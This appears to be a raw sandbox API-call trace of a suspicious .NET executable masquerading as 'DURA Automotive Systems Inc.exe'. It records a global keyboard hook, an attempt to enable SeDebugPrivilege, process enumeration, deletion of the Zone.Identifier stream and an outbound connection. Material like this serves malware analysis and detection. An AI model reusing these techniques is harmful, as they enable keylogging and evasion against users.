	[0193.627] WSAIoctl (in: s=0x460, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ae4a8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ae4a8, lpOverlapped=0x0) returned -1
	[0193.627] GetLastError () returned 0x2733
	[0193.627] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x596f68, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0193.628] GetLastError () returned 0x2733
	[0193.628] WSAEventSelect (s=0x460, hEventObject=0x46c, lNetworkEvents=512) returned 0
	[0193.628] GetLastError () returned 0x0
	[0193.628] WSAIoctl (in: s=0x470, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ae4a8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ae4a8, lpOverlapped=0x0) returned -1
	[0193.628] GetLastError () returned 0x2733
	[0193.628] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x596f68, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0193.628] GetLastError () returned 0x2733
	[0193.628] WSAEventSelect (s=0x470, hEventObject=0x474, lNetworkEvents=512) returned 0
	[0193.628] GetLastError () returned 0x0
	[0193.628] GetAdaptersAddresses () returned 0x6f
	[0193.634] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x5adf30
	[0193.634] GetLastError () returned 0x0
	[0193.634] GetAdaptersAddresses () returned 0x0
	[0193.641] LocalFree (hMem=0x5adf30) returned 0x0
	[0193.641] GetLastError () returned 0x0
	[0193.645] WSAConnect (in: s=0x45c, name=0x24146dc*(sa_family=2, sin_port=0x50, sin_addr="216.146.38.70"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
	[0193.761] GetLastError () returned 0x0
	[0193.761] closesocket (s=0x458) returned 0
	[0193.762] GetLastError () returned 0x0
	[0193.764] send (in: s=0x45c, buf=0x2416044*, len=68, flags=0 | out: buf=0x2416044*) returned 68
	[0193.764] GetLastError () returned 0x0
	[0193.765] setsockopt (s=0x45c, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0
	[0193.765] GetLastError () returned 0x0
	[0193.765] recv (in: s=0x45c, buf=0x24116b4, len=4096, flags=0 | out: buf=0x24116b4*) returned 260
	[0193.889] GetLastError () returned 0x0
	[0193.891] setsockopt (s=0x45c, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0
	[0193.891] GetLastError () returned 0x0
	[0193.894] shutdown (s=0x45c, how=2) returned 0
	[0193.894] GetLastError () returned 0x0
	[0193.895] closesocket (s=0x45c) returned 0
	[0193.895] GetLastError () returned 0x0
	[0193.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae86c | out: phkResult=0x3ae86c*=0x45c) returned 0x0
	[0193.953] RegQueryValueExW (in: hKey=0x45c, lpValueName="ProductId", lpReserved=0x0, lpType=0x3ae8b0, lpData=0x0, lpcbData=0x3ae8ac*=0x0 | out: lpType=0x3ae8b0*=0x0, lpData=0x0, lpcbData=0x3ae8ac*=0x0) returned 0x2
	[0193.983] GetModuleHandleW (lpModuleName="user32.dll") returned 0x76ad0000
	[0193.985] GetProcAddress (hModule=0x76ad0000, lpProcName="DefWindowProcW") returned 0x772625dd
	[0193.987] GetStockObject (i=5) returned 0x1900015
	[0193.987] GetLastError () returned 0x0
	[0193.987] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0193.992] CoTaskMemAlloc (cb=0x4c) returned 0x569c30
	[0193.992] RegisterClassW (lpWndClass=0x52e3f8) returned 0xc118
	[0193.992] GetLastError () returned 0x0
	[0193.992] CoTaskMemFree (pv=0x569c30) 
	[0193.993] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0193.994] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40140
	[0193.995] SetWindowLongW (hWnd=0x40140, nIndex=-4, dwNewLong=1998988765) returned 2364626
	[0193.996] GetWindowLongW (hWnd=0x40140, nIndex=-4) returned 1998988765
	[0193.997] GetCurrentProcess () returned 0xffffffff
	[0193.997] GetCurrentThread () returned 0xfffffffe
	[0193.997] GetCurrentProcess () returned 0xffffffff
	[0193.998] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3ae0d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3ae0d8*=0x458) returned 1
	[0193.998] GetLastError () returned 0x0
	[0193.999] GetCurrentThreadId () returned 0x7f4
	[0193.999] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae044 | out: phkResult=0x3ae044*=0x478) returned 0x0
	[0193.999] RegQueryValueExW (in: hKey=0x478, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x3ae08c, lpData=0x0, lpcbData=0x3ae088*=0x0 | out: lpType=0x3ae08c*=0x0, lpData=0x0, lpcbData=0x3ae088*=0x0) returned 0x2
	[0194.000] RegQueryValueExW (in: hKey=0x478, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x3ae08c, lpData=0x0, lpcbData=0x3ae088*=0x0 | out: lpType=0x3ae08c*=0x0, lpData=0x0, lpcbData=0x3ae088*=0x0) returned 0x2
	[0194.000] RegCloseKey (hKey=0x478) returned 0x0
	[0194.001] SetWindowLongW (hWnd=0x40140, nIndex=-4, dwNewLong=2364170) returned 1998988765
	[0194.001] GetWindowLongW (hWnd=0x40140, nIndex=-4) returned 2364170
	[0194.001] GetWindowLongW (hWnd=0x40140, nIndex=-16) returned 79691776
	[0194.023] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x40140, Msg=0x24, wParam=0x0, lParam=0x3ae320) returned 0x0
	[0194.024] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc119
	[0194.024] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x40140, Msg=0x81, wParam=0x0, lParam=0x3ae314) returned 0x1
	[0194.025] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x40140, Msg=0x83, wParam=0x0, lParam=0x3ae300) returned 0x0
	[0194.027] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x40140, Msg=0x1, wParam=0x0, lParam=0x3ae314) returned 0x0
	[0194.028] GetLastError () returned 0x0
	[0209.360] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x3ae7fc | out: lpLuid=0x3ae7fc*(LowPart=0x14, HighPart=0)) returned 1
	[0209.361] GetLastError () returned 0x0
	[0209.361] GetCurrentProcess () returned 0xffffffff
	[0209.361] GetLastError () returned 0x0
	[0209.362] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x3ae7f8 | out: TokenHandle=0x3ae7f8*=0x480) returned 1
	[0209.362] GetLastError () returned 0x0
	[0209.364] AdjustTokenPrivileges (in: TokenHandle=0x480, DisableAllPrivileges=0, NewState=0x242120c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0209.364] GetLastError () returned 0x514
	[0209.364] CloseHandle (hObject=0x480) returned 1
	[0209.364] GetLastError () returned 0x514
	[0209.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3397e00, Length=0x20000, ResultLength=0x3aef88 | out: SystemInformation=0x3397e00, ResultLength=0x3aef88*=0x7808) returned 0x0
	[0209.374] GetCurrentProcessId () returned 0x7f0
	[0209.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33b7e20, Length=0x20000, ResultLength=0x3aef88 | out: SystemInformation=0x33b7e20, ResultLength=0x3aef88*=0x7808) returned 0x0
	[0209.378] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3aeaf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0209.378] GetLastError () returned 0x514
	[0209.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3aeb28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0209.380] GetLastError () returned 0x514
	[0209.380] SetErrorMode (uMode=0x1) returned 0x0
	[0209.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe"), fInfoLevelId=0x0, lpFileInformation=0x3aefa8 | out: lpFileInformation=0x3aefa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78b47a70, ftCreationTime.dwHighDateTime=0x1d3d722, ftLastAccessTime.dwLowDateTime=0x78b47a70, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x76c55c70, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x3c000)) returned 1
	[0209.380] GetLastError () returned 0x514
	[0209.380] SetErrorMode (uMode=0x0) returned 0x1
	[0209.385] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe:Zone.Identifier" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe:zone.identifier")) returned 0
	[0209.385] GetLastError () returned 0x2
	[0209.431] QueueUserAPC (pfnAPC=0x7486647a, hThread=0x4ac, dwData=0x58f168) returned 0x1
	[0209.505] SetWindowsHookExW (idHook=13, lpfn=0x241652, hmod=0x400000, dwThreadId=0x0) returned 0xa0083
	[0209.506] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc11b
	[0209.506] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc11c
	[0209.506] GetSystemMetrics (nIndex=75) returned 1
	[0209.524] GetStockObject (i=5) returned 0x1900015
	[0209.524] GetLastError () returned 0x0
	[0209.525] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0209.525] CoTaskMemAlloc (cb=0x4c) returned 0x569c30
	[0209.525] RegisterClassW (lpWndClass=0x52e3f8) returned 0xc11d
	[0209.525] GetLastError () returned 0x0
	[0209.525] CoTaskMemFree (pv=0x569c30) 
	[0209.526] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0209.526] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10146
	[0209.526] SetWindowLongW (hWnd=0x10146, nIndex=-4, dwNewLong=1998988765) returned 2365322
	[0209.526] GetWindowLongW (hWnd=0x10146, nIndex=-4) returned 1998988765
	[0209.526] SetWindowLongW (hWnd=0x10146, nIndex=-4, dwNewLong=2365370) returned 1998988765
	[0209.526] GetWindowLongW (hWnd=0x10146, nIndex=-4) returned 2365370
	[0209.526] GetWindowLongW (hWnd=0x10146, nIndex=-16) returned 113311744
	[0209.526] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc11e
	[0209.527] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x10146, Msg=0x24, wParam=0x0, lParam=0x3ae90c) returned 0x0
	[0209.527] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x10146, Msg=0x81, wParam=0x0, lParam=0x3ae900) returned 0x1
	[0209.527] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x10146, Msg=0x83, wParam=0x0, lParam=0x3ae8ec) returned 0x0
	[0209.527] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x10146, Msg=0x1, wParam=0x0, lParam=0x3ae900) returned 0x0
	[0209.528] GetClientRect (in: hWnd=0x10146, lpRect=0x3ae67c | out: lpRect=0x3ae67c) returned 1
	[0209.528] GetWindowRect (in: hWnd=0x10146, lpRect=0x3ae67c | out: lpRect=0x3ae67c) returned 1
	[0209.528] GetLastError () returned 0x0
	[0209.529] GetParent (hWnd=0x10146) returned 0x0
	[0209.529] OleInitialize (pvReserved=0x0) returned 0x0
	[0209.529] GetLastError () returned 0x0
	[0209.530] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x3aef70 | out: lplpMessageFilter=0x3aef70*=0x0) returned 0x0
	[0209.531] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0209.543] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0209.543] WaitMessage () returned 1
	[0214.078] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 1
	[0214.079] IsWindowUnicode (hWnd=0x3001c) returned 1
	[0214.080] GetMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3aef48) returned 1
	[0214.080] TranslateMessage (lpMsg=0x3aef48) returned 0
	[0214.080] DispatchMessageW (lpMsg=0x3aef48) returned 0x1
	[0214.081] CoGetContextToken (in: pToken=0x3ae5b8 | out: pToken=0x3ae5b8) returned 0x0
	[0214.081] CoGetContextToken (in: pToken=0x3ae588 | out: pToken=0x3ae588) returned 0x0
	[0214.081] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.081] IUnknown:Release (This=0x53a0e8) returned 0x1
	[0214.081] IUnknown:Release (This=0x53a0e8) returned 0x0
	[0214.081] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.081] IUnknown:Release (This=0x55f0d8) returned 0x1
	[0214.081] IUnknown:Release (This=0x55f0d8) returned 0x0
	[0214.081] IUnknown:Release (This=0x472c878) returned 0x3
	[0214.081] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.081] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.081] IUnknown:Release (This=0x472d4fc) returned 0x1
	[0214.081] IUnknown:Release (This=0x472d4fc) returned 0x0
	[0214.089] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.089] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.089] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.089] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.089] IUnknown:Release (This=0x566278) returned 0x0
	[0214.089] IUnknown:Release (This=0x5662d0) returned 0x0
	[0214.089] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.089] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.089] IUnknown:Release (This=0x472d2e4) returned 0x2
	[0214.090] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.090] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.090] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.090] IUnknown:Release (This=0x5661c8) returned 0x0
	[0214.090] IUnknown:Release (This=0x56619c) returned 0x0
	[0214.090] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.090] IUnknown:Release (This=0x472d864) returned 0x1
	[0214.090] IUnknown:Release (This=0x472d864) returned 0x0
	[0214.092] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.092] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.093] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.093] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.093] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.093] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.093] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.093] IUnknown:Release (This=0x472d8a0) returned 0x1
	[0214.093] IUnknown:Release (This=0x472d2e4) returned 0x1
	[0214.093] IUnknown:Release (This=0x472d2e4) returned 0x0
	[0214.093] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.094] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.094] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.094] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.094] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.094] IUnknown:Release (This=0x472d8a0) returned 0x0
	[0214.094] IUnknown:Release (This=0x566328) returned 0x0
	[0214.094] IUnknown:Release (This=0x5662fc) returned 0x0
	[0214.095] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.096] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.096] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.096] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.096] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0214.096] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.096] IUnknown:Release (This=0x58459c) returned 0x1
	[0214.096] IUnknown:Release (This=0x472dc64) returned 0x0
	[0214.096] CoGetContextToken (in: pToken=0x3ae518 | out: pToken=0x3ae518) returned 0x0
	[0214.096] IUnknown:Release (This=0x4734c70) returned 0x1
	[0214.096] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0214.096] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0214.096] WaitMessage () returned 1
	[0214.098] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 1
	[0214.098] IsWindowUnicode (hWnd=0x3001c) returned 1
	[0214.098] GetMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3aef48) returned 1
	[0214.098] TranslateMessage (lpMsg=0x3aef48) returned 0
	[0214.098] DispatchMessageW (lpMsg=0x3aef48) returned 0x1
	[0214.098] CoGetContextToken (in: pToken=0x3ae5b8 | out: pToken=0x3ae5b8) returned 0x0
	[0214.098] CoGetContextToken (in: pToken=0x3ae584 | out: pToken=0x3ae584) returned 0x0
	[0214.098] IUnknown:Release (This=0x584a2c) returned 0x1
	[0214.098] IUnknown:Release (This=0x4734b5c) returned 0x0
	[0214.114] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0214.114] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0214.114] WaitMessage () returned 1
	[0286.153] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0286.153] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x40140, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
	[0286.153] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0286.153] WaitMessage () returned 1
	[0295.994] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0295.994] CallWindowProcW (lpPrevWndFunc=0x772625dd, hWnd=0x40140, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
	[0295.995] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0295.995] WaitMessage () returned 1
	[0540.464] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 1
	[0540.464] IsWindowUnicode (hWnd=0x3001c) returned 1
	[0540.464] GetMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3aef48) returned 1
	[0540.464] TranslateMessage (lpMsg=0x3aef48) returned 0
	[0540.464] DispatchMessageW (lpMsg=0x3aef48) returned 0x1
	[0540.464] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0540.464] PeekMessageW (in: lpMsg=0x3aef48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3aef48) returned 0
	[0540.464] WaitMessage () 

Thread:
	id = 149
	os_tid = 0x514


Thread:
	id = 150
	os_tid = 0x518

	[0176.844] CoGetContextToken (in: pToken=0x455f798 | out: pToken=0x455f798) returned 0x800401f0
	[0176.845] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0211.491] CoGetContextToken (in: pToken=0x455f778 | out: pToken=0x455f778) returned 0x0
	[0211.491] CoGetContextToken (in: pToken=0x455f708 | out: pToken=0x455f708) returned 0x0
	[0211.491] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x0
	[0211.491] CoGetContextToken (in: pToken=0x455f708 | out: pToken=0x455f708) returned 0x0
	[0211.491] WbemLocator:IUnknown:Release (This=0x472dc10) returned 0x0
	[0211.491] CoGetContextToken (in: pToken=0x455f778 | out: pToken=0x455f778) returned 0x0
	[0211.491] IUnknown:QueryInterface (in: This=0x527e48, riid=0x7493beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x455f74c | out: ppvObject=0x455f74c*=0x527e58) returned 0x0
	[0211.492] CObjectContext::ContextCallback () returned 0x0
	[0214.077] IUnknown:Release (This=0x527e58) returned 0x1
	[0214.077] CoGetContextToken (in: pToken=0x455f778 | out: pToken=0x455f778) returned 0x0
	[0214.077] IUnknown:QueryInterface (in: This=0x527c20, riid=0x7493beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x455f74c | out: ppvObject=0x455f74c*=0x527c30) returned 0x0
	[0214.078] CObjectContext::ContextCallback () returned 0x0
	[0214.097] IUnknown:Release (This=0x527c30) returned 0x1
	[0214.097] IUnknown:Release (This=0x4734c70) returned 0x0
	[0214.098] CoGetContextToken (in: pToken=0x455f6d4 | out: pToken=0x455f6d4) returned 0x0
	[0214.098] IUnknown:QueryInterface (in: This=0x527c20, riid=0x7493beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x455f6a8 | out: ppvObject=0x455f6a8*=0x527c30) returned 0x0
	[0214.098] CObjectContext::ContextCallback () returned 0x0
	[0214.114] IUnknown:Release (This=0x527c30) returned 0x1
	[0214.114] IUnknown:Release (This=0x527c20) returned 0x0
	[0214.114] IUnknown:Release (This=0x4734708) returned 0x0
	[0214.122] CloseHandle (hObject=0x420) returned 1
	[0214.122] GetLastError () returned 0x0
	[0214.122] CloseHandle (hObject=0x450) returned 1
	[0214.122] GetLastError () returned 0x0
	[0214.123] CloseHandle (hObject=0x3e8) returned 1
	[0214.123] GetLastError () returned 0x0
	[0214.123] CloseHandle (hObject=0x3e4) returned 1
	[0214.123] GetLastError () returned 0x0
	[0214.125] CloseHandle (hObject=0x390) returned 1
	[0214.125] GetLastError () returned 0x0
	[0214.125] CloseHandle (hObject=0x38c) returned 1
	[0214.125] GetLastError () returned 0x0
	[0214.126] CloseHandle (hObject=0x348) returned 1
	[0214.126] GetLastError () returned 0x0
	[0214.127] CloseHandle (hObject=0x344) returned 1
	[0214.127] GetLastError () returned 0x0
	[0214.127] CloseHandle (hObject=0x340) returned 1
	[0214.127] GetLastError () returned 0x0
	[0214.127] CloseHandle (hObject=0x33c) returned 1
	[0214.127] GetLastError () returned 0x0
	[0214.128] CloseHandle (hObject=0x338) returned 1
	[0214.128] GetLastError () returned 0x0
	[0214.128] CloseHandle (hObject=0x32c) returned 1
	[0214.128] GetLastError () returned 0x0
	[0214.128] CloseHandle (hObject=0x328) returned 1
	[0214.128] GetLastError () returned 0x0
	[0214.129] CloseHandle (hObject=0x324) returned 1
	[0214.129] GetLastError () returned 0x0
	[0214.129] CloseHandle (hObject=0x320) returned 1
	[0214.129] GetLastError () returned 0x0
	[0214.129] CloseHandle (hObject=0x31c) returned 1
	[0214.129] GetLastError () returned 0x0
	[0214.130] CloseHandle (hObject=0x314) returned 1
	[0214.130] GetLastError () returned 0x0
	[0214.130] CloseHandle (hObject=0x318) returned 1
	[0214.130] GetLastError () returned 0x0
	[0214.131] CloseHandle (hObject=0x310) returned 1
	[0214.131] GetLastError () returned 0x0

Thread:
	id = 152
	os_tid = 0x2f0


Thread:
	id = 153
	os_tid = 0x5e0


Thread:
	id = 154
	os_tid = 0x30c


Thread:
	id = 155
	os_tid = 0x2e8


Thread:
	id = 208
	os_tid = 0x458

	[0179.143] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0179.174] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x51af0d4 | out: lpiid=0x51af0d4) returned 0x0
	[0179.174] CoGetClassObject (in: rclsid=0x573314*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x51af03c | out: ppv=0x51af03c*=0x472fce8) returned 0x0
